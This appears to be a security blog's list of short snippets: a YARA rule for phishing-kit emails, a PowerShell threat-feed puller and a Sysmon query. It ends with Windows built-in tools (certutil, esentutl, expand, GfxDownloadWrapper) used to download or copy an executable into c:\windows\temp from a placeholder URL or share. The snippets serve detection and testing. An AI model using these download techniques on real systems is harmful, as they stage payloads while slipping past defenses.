neonprimetime security , just trying to help

/*     Phishing Kit Emails */ rule PhishingKitEmail {     strings:         $domain1 = "@gmail.com"         $domain2 = ...

code to pull dns & ips from urlhaus, openphish, phishtank, etc. #usage: iex (get-content .\GetData.ps1 | out-string) > output.txt ...

get-winevent -filterhashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=1} | select Message |foreach-object {$a = $_.Mes...

cd c:\windows\system32\DriverStore\FileRepository\ki132337.inf_amd64_223d6831ffa64ab1 (sub folder may vary) GfxDownloadWrapper.exe https...

to copy from a file share expand.exe \\share\test.txt c:\windows\temp\test.exe

Get from a file share esentutl.exe /y \\share\test.exe /d c:\windows\temp\test.exe

certutil.exe -urlcache -split -f https://somewhere/test.exe c:\windows\temp\test.exe dir c:\windows\temp\test.exe